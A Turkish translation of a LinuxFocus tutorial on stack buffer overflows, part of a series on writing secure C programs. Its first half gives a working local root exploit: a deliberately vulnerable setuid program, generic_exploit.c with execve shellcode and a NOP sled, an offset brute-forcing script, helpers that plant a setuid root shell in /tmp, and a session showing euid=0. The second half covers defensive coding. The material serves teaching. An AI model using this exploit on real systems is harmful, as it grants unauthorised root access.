lf190, Software Development: Uygulama geliştirirken güvelik açıklarından kaçınmak - Bölüm 3 : buffer overflows
Ev | Erişimdüzeni | İçindekiler | Arama
Duyumlar | Belgelikler | Bağlantılar | LF Nedir
Bu makalenin farklı dillerde bulunduğu adresler: English Castellano Deutsch Francais Nederlands Portugues Russian Turkce
Convert to GutenPalm
or to PalmDoc
tarafından Frédéric Raynal, Christophe Blaess, Christophe Grenier
Yazar hakkında:
Christophe Blaess bağımsız bir havacılık mühendisi.O bir Linux meraklısı ve birçok işini bu sistem yardımıyla yapıyor.Linux Dökümantasyon Projesi tarafından yayınlanan kişisel sayfaların çevirisinin organizasyonunu yapıyor.
Chritophe Grenier ESIEA'da beş yıldır öğrenci ve aynı zamanda burada sistem yöneticisi olarak çalışıyor.Bilgisayar güvenliğine karşı bir tutkusu var.
Frédéric Raynal birçok senedir Linux kullanıyorlar çünkü o kirletmiyor, hormonları kullanmıyor, ne GMO ne de hayvansal yağ...sadece ter ve oyunlar.
İçerik:
Bellekteki Taşmalar
Hafızadaki Yer
Programı başlatmak
Index 'leri Taramak
n Fonksiyonlarının Kullanımı
Veriyi İki Adımda Oluşturmak
Dİnamik Bellek Alanı Kullanımı
Bu yazı için görüş bildiriminde bulunabilirsiniz
Uygulama geliştirirken güvelik açıklarından kaçınmak - Bölüm 3 : buffer overflows
Çeviri : Nur Mumcuoğlu
Özet:
Bu yazı "buffer overflows" giriş yazılarının sonuncusu. Güvelik açıkları ve sırasında bunların nasıl oluştuğu anlatılıyor.
Bellekteki Taşmalar
Bir önceki makalemizde,kabuk çalıştırabilen ve herhangi bir hata anında sistemden çıkış yapabilen 50 byte lık küçük bir program yazdık.Şimdi bu kodu programı çalıştırmak istediğimiz yere yerleştireceğiz.Bu kodda,fonksiyonun geri dönüş adresi ile işlem sırasında otomatik değişken taşmasına sebep olan bizim kabuk adresimiz yerdeğiştirildi.
Örneğin,aşağıdaki programda ilk arguman olarak verilen açıklama satırındaki katarı, 500 byte lık belleğe kopyaladık.Bu kopya, yerleştirilen bellek alanı kontrol edilmeden yapıldı. Daha sonra da göreceğimiz gibi strncpy() fonksiyonu bu problemden kurtulmamızı sağlayacak.

  /* vulnerable.c */

  #include <string.h>

  int main(int argc, char * argv [])
  {
    char buffer [500];

    if (argc > 1)
    strcpy(buffer, argv[1]);
    return (0);
  }
buffer otomatik bir değişkendir,boşluk 500 satırı ile oluşturulmuştur; main() fonksiyonunu girer girmez bellekteki yer korunacaktır. vulnerable programını 500 karakterden fazla olmayan karakterlerle çalıştırdığımızda,bellekte veri taşması olacak ve işlemde bir mücadele yaşanacaktır. Önceden de gördüğümüz gibi, bu taşma, (aka return address)' i çalıştıracak bir sonraki bilginin adresini tutacaktır. Bu güvenlik çukurunu önlemek için çalıştırmak istediğimiz kabuk kodu adresi ile fonksiyon adresini yerdeğiştirmek yeterli olacaktır.Bu kabuk kodu hafızada kendisinden sonra adresi gelecek şekilde ana belleğe yerleştirilir.
Hafızadaki Yer
Kabuk kodunun hafızadaki adresini elde etmek oldukça zordur.Kabuk kodu adresi ile taşmayı tutan %esp kaydı arasındaki geçişi araştırmak gerekir.Biraz güvenliği sağlamak için bellekteki alanın başlangıcı, NOP bilgi topluluğu ile doldurulmalıdır; bu,bir byte'lık, hiçbir yerde bir etkisi olmayan tarafsız bilgidir.Böylece,kabuk kodunun doğru başlangıcından önce başlangıç adresi işaret edilecektir.Daha fazla şansa sahip olmak için kabuk kodunu sonuna kadar tekrar eden ve NOP bloğu ile oluşturulan başlangıç adresi izleyecek şekilde, belleğin ortasına yerleştiririz. şekil 1,belleğin yaratılımını gösterecektir.
Şekil. 1 : taşmanın bulunduğu bellek alanı
Bununla birlikte,başka değişken atama ile ilgili başka bir problem daha vardır. Çeşitli byte'larda stoklanan bir adres her zaman uyumlu olmayabilir. Bu,doğru atamayı bulana kadar deneme yaparak çözülebilir.4 byte lık işlemciler kullanılmaya başlandığından beri,atamalar 0,1,2 veya 3 byte lık olabilmektedirler. ( makale 183 e bakın.). şekil 2, de gri bölümler 4 byte'lık kısımları göstermektedir. İlk durumda,geridönüş adresi tekrar yazıldığında sadece biri çalışacaktır. Diğerleri, segmentation violation veya illegal instruction hatalarını verecektir.Bu deneysel yol,bu çeşit bir testi uygulamamıza olanak veren bugünün bilgisayarlarının çıktığı zamandan beri en iyiyi bulan yoldur.
Şekil. 2 : possible alignment with 4 bytes words
Programı başlatmak
Şimdi,hafızada taşmanın olduğu yere göndermekle zarar görebilen bir program yazacağız. Bu program,kabuk kodunu hafızaya yerleştiren ve çalışacak programı seçen çeşitli seçeneklere sahiptir.Bu versiyonu ,Aleph One'ın EM>phrack 49 sayılı makalesinden esinlenilerek Christophe Grenier 'ın görselyöresinden alınmıştır.
Uygulama alanına hazır bellek alanımızı nasıl göndereceğiz? Genellikle,vulnerable.c veya çevre değişkendeki gibi komut satırı parametresi kullanabilirsiniz. Taşma,kullanıcı tarafından yazılan,çalışması zor, veya dosyadan okuması zor, satırlar ile oluşacaktır.
generic_exploit.c programı,doğru boyuttaki bellek alanını ayırmak ile başlar, sonra kabuk kodunu oraya kopyalar ve onu adreslerle ve yukarda açıklanan NOP kodları ile doldurur. Daha sonra arguman dizisi hazırlar ve execve() bilgisini kullanarak etiket uygulamasını çalıştırır,daha önce çağrılmış ile yerdeğiştirme işlemi son yerdeğiştirmedir. generic_exploit parametleri önlem için (adresi geri çağırmak için biraz daha fazla bellek alanı) oluşturulan bellek alanları,hafıza geçişi ve atamadır.Şunu belirtmeliyiz ki bellek alanı hem çevre değişkenden(var) hem de açıklama satırından (novar) geçmektedir. force/noforce argumanı,kabuk kodundan setuid()/setgid() fonksiyonuna çağrılıma izin verir(veya vermez).

/* generic_exploit.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#define NOP                     0x90

char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b"
        "\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff";

unsigned long get_sp(void)
{
   __asm__("movl %esp,%eax");
}

#define A_BSIZE		1
#define A_OFFSET	2
#define A_ALIGN		3
#define A_VAR		4
#define A_FORCE		5
#define A_PROG2RUN	6
#define A_TARGET	7
#define A_ARG		8

int main(int argc, char *argv[])
{
   char *buff, *ptr;
   char **args;
   long addr;
   int offset, bsize;
   int i,j,n;
   struct stat stat_struct;
   int align;
   if(argc < A_ARG)
   {
    printf("USAGE: %s bsize offset align (var / novar)
            (force/noforce) prog2run target param\n",argv[0]);
      return -1;
   }
   if(stat(argv[A_TARGET],&stat_struct))
   {
     printf("\nCannot stat %s\n", argv[A_TARGET]);
     return 1;
   }
   bsize  = atoi(argv[A_BSIZE]);
   offset = atoi(argv[A_OFFSET]);
   align  = atoi(argv[A_ALIGN]);

   if(!(buff = malloc(bsize)))
   {
      printf("Can't allocate memory.\n");
      exit(0);
   }

   addr = get_sp() + offset;
   printf("bsize %d, offset %d\n", bsize, offset);
   printf("Using address: 0lx%lx\n", addr);

   for(i = 0; i < bsize; i+=4) *(long*)(&buff[i]+align) = addr;

   for(i = 0; i < bsize/2; i++) buff[i] = NOP;

   ptr = buff + ((bsize/2) - strlen(shellcode) - strlen(argv[4]));
   if(strcmp(argv[A_FORCE],"force")==0)
   {
     if(S_ISUID&stat_struct.st_mode)
     {
       printf("uid %d\n", stat_struct.st_uid);
       *(ptr++)= 0x31;			/* xorl %eax,%eax	*/
       *(ptr++)= 0xc0;
       *(ptr++)= 0x31;			/* xorl %ebx,%ebx	*/
       *(ptr++)= 0xdb;
       if(stat_struct.st_uid & 0xFF)
       {
	 *(ptr++)= 0xb3;		/* movb $0x??,%bl	*/
	 *(ptr++)= stat_struct.st_uid;
       }
       if(stat_struct.st_uid & 0xFF00)
       {
	 *(ptr++)= 0xb7;		/* movb $0x??,%bh	*/
	 *(ptr++)= stat_struct.st_uid;
       }
       *(ptr++)= 0xb0;			/* movb $0x17,%al 	*/
       *(ptr++)= 0x17;
       *(ptr++)= 0xcd;			/* int $0x80		*/
       *(ptr++)= 0x80;
     }
     if(S_ISGID&stat_struct.st_mode)
     {
       printf("gid %d\n", stat_struct.st_gid);
       *(ptr++)= 0x31;			/* xorl %eax,%eax	*/
       *(ptr++)= 0xc0;
       *(ptr++)= 0x31;			/* xorl %ebx,%ebx	*/
       *(ptr++)= 0xdb;
       if(stat_struct.st_gid & 0xFF)
       {
	 *(ptr++)= 0xb3;		/* movb $0x??,%bl	*/
	 *(ptr++)= stat_struct.st_gid;
       }
       if(stat_struct.st_gid & 0xFF00)
       {
	 *(ptr++)= 0xb7;		/* movb $0x??,%bh	*/
	 *(ptr++)= stat_struct.st_gid;
       }
       *(ptr++)= 0xb0;			/* movb $0x2e,%al 	*/
       *(ptr++)= 0x2e;
       *(ptr++)= 0xcd;			/* int $0x80		*/
       *(ptr++)= 0x80;
     }
   }
   /* Patch shellcode */
   n=strlen(argv[A_PROG2RUN]);
   shellcode[13] = shellcode[23] = n + 5;
   shellcode[5] = shellcode[20] = n + 1;
   shellcode[10] = n;
   for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
   /* Copy prog2run */
   printf("Shellcode will start %s\n", argv[A_PROG2RUN]);
   memcpy(ptr,argv[A_PROG2RUN],strlen(argv[A_PROG2RUN]));

   buff[bsize - 1] = '\0';

   args = (char**)malloc(sizeof(char*) * (argc - A_TARGET + 3));
   j=0;
   for(i = A_TARGET; i < argc; i++)
     args[j++] = argv[i];
   if(strcmp(argv[A_VAR],"novar")==0)
   {
     args[j++]=buff;
     args[j++]=NULL;
     return execve(args[0],args,NULL);
   }
   else
   {
     setenv(argv[A_VAR],buff,1);
     args[j++]=NULL;
     return execv(args[0],args);
   }
}
vulnerable.c dan fayda sağlamak için,uygulama tarafından belirlenmiş bellek alanından daha fazlasını elde etmeliyiz.Örneğin 500 byte yerine 600 byte'ı tercih etmeliyiz.Taşmanın olduğu yeri saptamak için başarılı testler yapılır.addr = get_sp() + offset; bilgisi ile yapılanan adres,adres geri çağrımının tekrar yazılmasını sağlar, tabi bunun için biraz şansa gereksinimi vardır...! Bu işlem %esp kaydının varolan işlem sırasında fazla hareket etmeyeceğini ve program sonuna birinin çağrılacağını destekler. Pratik olarak,hiçbirşey kesin değildir: çeşitli olaylar hesaplamanın yapıldığı zamandan bellekte taşmanın olduğu zamana değiştirilebilir. Burada,-1900 byte lık eksiltme ile taşmayı engellemeyi başardık.Elbette ,bu deneyimi tamamlamak için, vulnerable etiketi Set-UID root olmalıdır.

  $ cc vulnerable.c -o vulnerable
  $ cc generic_exploit.c -o generic_exploit
  $ su
  Password:
  # chown root.root vulnerable
  # chmod u+s vulnerable
  # exit
  $ ls -l vulnerable
  -rws--x--x   1 root     root        11732 Dec  5 15:50 vulnerable
  $ ./generic_exploit 600 -1900 0 novar noforce /bin/sh ./vulnerable
  bsize 600, offset -1900
  Using address: 0lxbffffe54
  Shellcode will start /bin/sh
  bash# id
  uid=1000(raynal) gid=100(users) euid=0(root) groups=100(users)
  bash# exit
  $ ./generic_exploit 600 -1900 0 novar force /bin/sh /tmp/vulnerable
  bsize 600, offset -1900
  Using address: 0lxbffffe64
  uid 0
  Shellcode will start /bin/sh
  bash# id
  uid=0(root) gid=100(users) groups=100(users)
  bash# exit
İlk olarak,(noforce) bizim uid değişmez.Bunun yanında bize olnaklar sağlayan yeni euid e sahibiz. Böylece, /etc/passwd dosyasını vi editörü ile yazarken, dosya sadece okunabilir olsa bile tüm değişiklikler çalışacaktır: w! yazarak bunu henüz sağlayabilirsiniz:) force parametresi sistemin başlamasından uid=euid=0 a izin verecektir.
Küçük bir kabuk programı kullanmak,taşmaya sebep olan geçiş değerlerini otomatik olarak bulmayı kolaylaştırır.

 #! /bin/sh
 # find_exploit.sh
  BUFFER=600
  OFFSET=$BUFFER
  OFFSET_MAX=2000
  while [ $OFFSET -lt $OFFSET_MAX ] ; do
    echo "Offset = $OFFSET"
    ./generic_exploit $BUFFER $OFFSET 0 novar force /bin/sh ./vulnerable
    OFFSET=$(($OFFSET + 4))
  done
Bu başarı,potansiyel atama problemlerinin çözümüne bizi götürmez.Daha sonra,sizin için aynı değerler ile bu örneği çalıştırmak veya sadece atamadan dolayı çalışmaması mümkün olur.(Bütün bunlar, test etmeyi gerektirir,atama parametresi 1,2 veya 3'e (burda 0) değiştirilmelidir. Bazı sistemler hafıza alanına yazmayı kabul etmez,fakat bu Linux'da geçerli değildir.)
Kabuk Problemleri
Maalesef,bazen oluşturulmuş kabuk kendi içinde sonlanana kadar veya açkı tuşa basana kadar kullanılamaz.Bunun anlamı bazı kolaylıklara zor ulaşılabildiğidir.

/* set_run_shell.c */
#include <unistd.h>
#include <sys/stat.h>

int main()
{
  chown ("/tmp/run_shell", geteuid(), getegid());
  chmod ("/tmp/run_shell", 06755);
  return 0;
}
Bu işin üstesinden gelebildiğimiz zamandan beri, run_shell programı, set_run_shell programının yardımı ile kolaylıkları elde edebiliriz. Daha sonra bir kabuğa gereksinimimiz olacaktır.

/* run_shell.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

int main()
{
  setuid(geteuid());
  setgid(getegid());
  execl("/tmp/shell","shell","-i",0);
  exit (0);
}
-i seçeneği interactive'e uyumludur.Peki neden kolaylıkları direk kabuğa aktarmayalım? Çünkü s bit'i her kabuk için elverişli değildir.Son sürümleri, "uid" in "euid" ile eşit olduğunu göstermektedir. "gid" ile "egid" için de aynı şey sözkonusudur. Böylece,bash2 ve tcsh koruma satırını kapsamaktadırlar. fakat ne bash ne de ash bu satırı kapsamamaktadırlar. Bu yöntem,run_shell'nin bulunduğu (burada, /tmp) ve nosuid veya noexec'e ilişiklendiği yerde bölümleme olduğu zaman tasfiye edilmelidir.
Önleme
Bir taşmanın olduğu Set-UID programına kaynak kodu ile birlikte sahip olduğumuzdan beri, dosya sahibinin ID si altında keyfi kod çalıştırılmasına karşı bir tepki hazırlayabildik. Bununla birlikte, ilk golümüz güvenlik çukurlarını önlemekti.Sonra hafızadaki taşmaları önlemek için birtakım kuralları inceledik.
Index 'leri Taramak
İlk kural,iyi bir izlenim uyandırıyor: indexler dikkatli bir şekilde taranması gereken dizileri işlemek için kullanılıyor."clumsy" döngüsü :

  for (i = 0; i <= n; i ++) {
  	table [i] = ...
bir ihtimalle hata içeriyor.Hatanın sebebi < nın yerine <= işaretinin kullanılmasıdır.Böyle bir döngüyü taramak kolay olsaydı, sıfırın altına inmeden indexleri azaltmak bu döngü ile çok zor olacaktı. for(i=0; i<n ; i++) sıfır durumdan ayrı olarak,algoritmanın kullanıldığı farklı zamanları özellikle döngünün başladığı yerleri kontrol etmek zorundayız. (Hatta birine sizin için bu denetimi yapabilir mi diye sorun)
Aynı çeşit problem karakter dizileri(katarlar) da bulundu : son null karakter için bir byte daha eklemeyi düşünmek zorundasınız.Bunu unutamak ,en sık karşılaşılan hatalardan biridir ve değişken atamalarından dolayı gizli kaldığı için hatayı bulmak da zordur.
Dizi indexleri eksik hesaplanmamalıdır.Gördük ki bir byte lık taşma güvenlik çukuru yaratmaya yeterlidir (Phrack konu 55'e bakın), çevre değişkene kabuk kodu yerleştirmek, örneğin,

  #define BUFFER_SIZE 128

  void foo(void) {

    char buffer[BUFFER_SIZE+1];

    /* end of string */
    buffer[BUFFER_SIZE] = '\0';

    for (i = 0; i<BUFFER_SIZE; i++)
      buffer[i] = ...
  }
n Fonksiyonlarının Kullanımı
Anlaşmaya göre standart C kütüphanesi fonksiyonları null byte'ından dolayı katarların sonundan haberdardırlar.Örneğin, strcpy(3) fonksiyonu,hedef katarı null byte'ı içeren orjinal katara kopayalar.Bazı durumlarda , bu davranış tehlike yaratır; aşağıdaki kodun güvenlik çukuru oluşturduğunu gördük:

  #define LG_IDENT 128

  int fonction (const char * name)
  {
    char identity [LG_IDENT];
    strcpy (identity, name);
    ...
  }
Bu tip bir problemden kaçınmak için sınırlı uzunluğa sahip fonksiyonlar vardır. Bu fonksiyonların,adlarının ortalarında `n' yazar.Örneğin, strcpy(3) yerine strncpy(3) fonksiyonu, strcat(3) yerine strncat(3) fonksiyonu, hatta strlen(3) yerine strlen(3) fonksiyonu.
Bununla birlikte, strncpy(3) sınırlaması ile dikkatli olmalısınız.Farklı etkiler yaratabilir: kaynak katarı hedeflenenden az olunca, n sınırına kadar null karakterler ile tamamlanacaktır.Bu da yeterli performansı sağlamaz.Bunun yanında,eğer fazla olursa,null karakter ile sonlanmayacaktır,si

  #define LG_IDENT 128

  int fonction (const char * name)
  {
    char identity [LG_IDENT+1];
    strncpy (identity, name, LG_IDENT);
    identity [LG_IDENT] = '\0';
    ...
  }
Tabii ki, aynı prensipler, wcscpy(3) yerine wcsncpy(3) ı tercih etmek veya wcscat(3) yerine wcsncat(3)'ı tercih ederek büyük karakterleri kullanma yöntemine uygulanabilir.Böyelce program daha da büyüyecek fakat güvenlik olacaktır.
strcpy() gibi strcat(3) da hafıza boyutunu kontrol etmez. strncat(3) fonksiyonu,uygun yer bulursa karakter dizisinin sonuna bir karakter ekler.strcat(buffer1, buffer2); ı strncat(buffer1, buffer2, sizeof(buffer1)-1); ile yerdeğiştirmek,riski azaltmak için yeterlidir.
sprintf() fonksiyonu formatlanmış veriyi diziye kopyalamaya izin verir. Bu fonksiyon,karakter numaralarını hedef katara( "\0" karakterini saymadan) gönderir. Gönderdiği değerleri test etmek,katara,değerlerin doğru eklenip eklenmediğini bilmemizi sağlar:

  if (snprintf(dst, sizeof(dst) - 1, "%s", src) > sizeof(dst) - 1) {
    /* Overflow */
    ...
  }
Açıkçası,kopyalamak için byte sayısını kontrol edince bunun pek önemi kalmaz. Böyle bir BIND(Berkeley Internet Name Daemon)'daki böyle bir boşluk sisteme zarar veren insanları meşgul edecektir:

  struct hosten *hp;
  unsigned long address;

  ...

  /* copy of an address */
  memcpy(&address, hp->h_addr_list[0], hp->h_length);
  ...

Bu, herzaman 4 byte kopyalamaya izin verecektir.Bunun yanında,eğer hp->h_length'i değiştirebilecekseniz,alanı belirleyebileceksinizdir. Fakat kopayalamadan önce veri uzunluğunu kontrol etmek zorunludur:

  struct hosten *hp;
  unsigned long address;

  ...

  /* test */
  if (hp->h_length > sizeof(address))
    return 0;

  /* copy of an address */
  memcpy(&address, hp->h_addr_list[0], hp->h_length);
  ...
Bazı durumlarda bu yolun(isim,URL,kaynak yolu) geri kalanını atmak,ve programda,veri yazılır yazılmaz erken yapılmalıdırlar.
Veriyi İki Adımda Oluşturmak
Programda diğer kullanıcıya göre özellikli olarak çalışmak için kendini koruma davranışı,gelen tüm şüpheli verileri incelemekte etkilidir.
Herşeyden önce,bu,karakter dizisinin yazma yöntemleri ile ilgilidir.Yani, gets(char *chaine)'unu karakter katarının uzunluğu kontrol edilmeden asla kullanmamalısınız(Yazar notu: bu yöntem,ilişiklendirilen editör tarafından yasaklanmalıdır). Daha tehlikeli riskler scanf()'de gizlenmiştir.

scanf ("%s", string)
satırı,örneğin gets(char *chaine) kadar tehlikeli fakat çok açık değildir. Bununla birlikte ,scanf() ailesinden fonksiyonlar veri boyutunun kontrolünü tercih ederler:

  char buffer[256];
  scanf("%255s", buffer);
Bu yöntemde, buffer 'a kopyalanan karakter sayısı, 255 ile sınırlıdır. Diğer bir tarafdan,scanf() in karakterleri yerleştirmesi geldiği yere geri göndermesi anlamına gelmemektedir,(örneğin,bir şekil için bekleyen bir karakter), program hatalarının yarattığı kitleme riskleri oldukça büyüktür.
C++ ı kullanarak cin akışı C de kullanılan (hatta hala kulanılıyor) klasik fonksiyonlar ile yerdeğiştirir.Aşağıdaki program hafızayı doldurur:

  char buffer[500];
  cin>>buffer;
Sizin de gördüğünüz gibi,test edilmemiştir! gets(char *chaine) de olduğu durumun aynısı,C'yi kullanırken : kapı oldukça açık.ios::width()'in üyesi olan fonksiyon,karakterleri, okunması için en üst sayı ile eşleştirir.
Okunana veri iki basamağa sahiptir. İlk aşama,karakter dizinin hafıza alanınının boyutunu sınırlayan fgets(char *chaine, int taille, FILE stream) ile olması konusunda ısrar etmektedir.Sonra okunan veri silinir,örneğin sscanf() ile. İlk aşama bundan daha fazlasını da yapabilir,örneğin;fgets(char *chaine, int taille, FILE stream) i,istenilen hafızayı,keyfi sınır koymadan otomatik olarak sağlayan döngünün içine yerleştirmektedir. GNU uzantısı getline() bunu sizin için yapabilir.isalnum(), isprint(), vb. leri kullanarak yazılması onaylanan karakterleri içermesi de mümkündür.strspn() fonksiyonu etkili bir süzmeye müsade eder.Program biraz daha yavaş olur,fakat böylece kodun duyarlı bölümleri tehlikeli veriye karşı kurşun geçirmez bir yelek ile korunur.
Doğrudan veri yazılımının sadece saldırgan giriş noktaları olmaz.Yazılım veri dosyaları zedelenebilir,fakat onlara okumaları için yazılan kod yazmaları için yazılan koddan genellikle daha güçlüdür.Programcılar,sezgisel olarak,içeriği kullanıcı tarafından korunan dosyalara güven duymazlar.
Bellek alanındaki taşmalar genellikle şöyle bir şeye dayanmaktadır:çevresel karakter dizileri. Bir programcının,başlamadan önce çevresel işlemi düzenldiğini unutmamalıyız.Alınan kararlara göre,çevresel karakter dizisi "NAME=VALUE" yazılımının bir parçası olmalı ve kötü amaçlı kullanıcıların önünde kullanışsız olmalı. getenv() yöntemini kullanmak dikkat gerektirir.Özellikle bu bir karakter dizisinin uzunluğunu(oldukça uzun) ve içeriğini (`=' içeriğinde herhangi bir karakter bulabilirsinz) geri döndürüyorsa.getenv() tarafından geri döndürülen karakter dizisi, uzunluğu ve bir karakterin arkasından diğerinin geldiğini dikkate alarak fgets(char *chaine, int taille, FILE stream) tarafından üretilenlerden biri gibi yaratılacaktır.
Böyle filtreler, bir bilgisayar üretiliyormuş gibi yapılır: herşeyi yasaklamak ilk kuraldır! Sonra bazı şeylere izin verilir:

  #define GOOD "abcdefghijklmnopqrstuvwxyz\
                BCDEFGHIJKLMNOPQRSTUVWXYZ\
                1234567890_"

  char *my_getenv(char *var) {
    char *data, *ptr

    /* Getting the data */
    data = getenv(var);

    /* Filtering
       Rem : obviously the replacement character must be
             in the list of the allowed ones !!!
    */
    for (ptr = data; *(ptr += strspn(ptr, GOOD));)
      *ptr = '_';

    return data;
  }
strspn() fonksiyonu bunu kolaylaştırır: ilk karakter gibi görünür,özel bir boşluğa sahip bir karakter gibi değil.Sadece gerçe karakterleri tutarak karakter dizisi uzunluğunu geri gönderir(0 dan başlayarak).Yasaklana karakterlerin belirtildiğinden ve hiçbirinin yazıda bulunmadığı kontrol edildiğinden beri strcspn fonksiyonun karşı bir fonksiyon olduğunu unutmamak gerekir.
Dİnamik Bellek Alanı Kullanımı
Bellek alanındaki taşmalar, tekrar yazmayı içeren kısma(taşmanın olduğu kısım) güvenir sanki fonksiyonun adresini geri gönderiyormuş gibi.Etki otomatik veri ile ilgilidir,sadece o kısmın içinde tahsis edilmiştir.Bu problemi kaldırmanın bir yolu,o kısımda sağlanan karakter tablolarını heap'de bulunan dinamik değişkenler ile yerdeğiştirmektir. Bunu yapmak için,sırası ile şunları yerdeğiştirmek gerekir:

  #define LG_STRING    128
  int fonction (...)
  {
    char chaine [LG_STRING];
    ...
    return (result);
  }
with :

  #define LG_STRING    128
  int fonction (...)
  {
    char *string = NULL;
    if ((string = malloc (LG_STRING)) == NULL)
        return (-1);
    memset(string,'\0',LG_STRING);
    [...]
    free (string);
    return (result);
  }
Bu satırlar, kodu fazla üretir ve hafıza sızıntıları meydana getirir,fakat,yaklaşımı azaltmak ve sınır uzunluk dğerlerini zorlamayı engellemek için bu değişikliklerin avantajına sahip olmalıyız.alloca() fonksiyonu ile daha kolay bir yol kullanmak ile aynı sonucu vermeyeceğini düşünün.Bu,taşmanın olduğu yerde son olarak bir veri tahsis edecektir ve otomatik değişkenlerdeki gibi aynı problemi doğuracaktır.memset() ile hafızayı 0' almak, başa alınmamış değişkenler değşkenlerin kullanımı ile ilgili bazı problemlerden sakınmaya izin verecektir.Bütün bunlar,konuyu "Heap overflows from w00w00" konulu makaleye taşıyacaktır.
Son olarak,bazı durumlarda,güvenlik çukurunu baştan kolayca defetmek,hafıza bildiriminden önce static açkı sözcüğünü yerleştirmek ile mümkündür.Bu,işlem yığınından uzak veri bölümünde sağlanmuştır.Kabuğa sahip olmak imkansızdır fakat DoS problemi hala mevcuttur.Tabii ki,yöntem tekrarlanırsa bu çalışmaz.Bu "ilaç",fazla kod değiştirmeye gerek kalmadan acil gereksinim durumunda güvenlik çukuruna geçici bir çözüm olmalıdır.
Sonuç
Umarız,bellekte taşmanın bu anlatımı,sizin daha güvenli programlar yazmanızı sağlayacaktır.Taşma tekniği mekanizmayı iyi anlamayı gerektiriyorsa,genel prensip başarılabilir.Diğer yandan, gerekenleri yerine getirmek zor değildir.Unutmayınız ki,daha sonra kabul edilir bir zamanda güvenlik programı yazmak daha hızlı olacaktır.Buna, format bugs konulu bir sonraki makalemizde değineceğiz.
İlişiklendirmeler
Christophe Blaess page : perso.club-internet.fr/ccb/
Christophe Grenier page : www.esiea.fr/public_html/Christophe.GRENIER/
Frédéric Raynal page : www-rocq.inria.fr/~raynal/
Phrack Magazine : phrack.infonexus.com/.
Heap overflow : www.w00w00.org/files/articles/heaptut.txt
Bu yazı için görüş bildiriminde bulunabilirsiniz
Her yazı kendi görüş bildirim sayfasına sahiptir. Bu sayfaya yorumlarınızı yazabilir ve diğer okuyucuların yorumlarına bakabilirsiniz.